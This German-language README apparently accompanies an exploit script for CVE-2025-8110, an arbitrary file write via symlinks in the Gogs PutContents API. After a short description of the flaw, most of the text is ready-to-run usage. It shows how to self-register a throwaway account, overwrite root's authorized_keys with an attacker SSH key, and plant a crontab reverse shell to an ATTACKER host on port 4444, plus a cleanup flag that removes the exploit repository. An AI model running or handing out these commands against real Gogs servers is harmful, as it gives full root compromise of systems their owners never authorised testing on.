
CVE-2025-8110 — Gogs <= 0.13.3 Beliebiger Dateischreibvorgang durch Symlink-Traversal in der PutContents-API
Gogs <= 0.13.3 ist anfällig für beliebiges Datei-Schreiben über die PutContents-API (/api/v1/repos/:owner/:repo/contents/:path).
Die API validiert Dateipfade auf Verzeichnistraversierungs-Sequenzen (../), löst jedoch keine symbolischen Links auf, bevor sie schreibt. Ein authentifizierter Benutzer kann einen Commit mit einem Symlink pushen, der auf eine beliebige Datei auf dem Server verweist, und dann PutContents auf diesem Symlink aufrufen, um die Zieldatei mit einem vom Angreifer kontrollierten Inhalt zu überschreiben.
Wenn Gogs als root läuft (Standard in Docker und vielen Bereitstellungen), führt dies zu einer vollständigen Systemkompromittierung.
| Detail | Wert |
|---|---|
| CVE | CVE-2025-8110 |
| Betroffen | Gogs <= 0.13.3 |
| Typ | Authentifiziertes beliebiges Datei-Schreiben → RCE |
| CVSS | 8.8 (Hoch) |
| Komponente | PutContents-API |
requests (pip install requests)git CLI# Wegwerf-Konto selbst registrieren + SSH-Public-Key für root schreiben
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Mit bestehenden Anmeldedaten
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Reverse Shell via Crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Bereinigen des Exploit-Repos nach Gebrauch
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys), committen und pushen.root).--url Basis-URL von Gogs (z.B. http://target:3001)
-u, --user Gogs-Benutzername
-p, --password Gogs-Passwort
--register Wegwerf-Konto selbst registrieren (kein Captcha)
--target-file Absoluter Pfad zum Überschreiben auf dem Server
--content Zeichenfolge, die geschrieben werden soll
--content-file Lokale Datei, deren Inhalt geschrieben werden soll
--repo Name des zu erstellenden Repos (Standard: zufällig)
--link-name Symlink-Dateiname im Repo (Standard: payload)
--cleanup Lösche das Exploit-Repo nach dem Schreiben
Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Der unbefugte Zugriff auf Computersysteme ist illegal. Verwenden Sie es verantwortungsbewusst.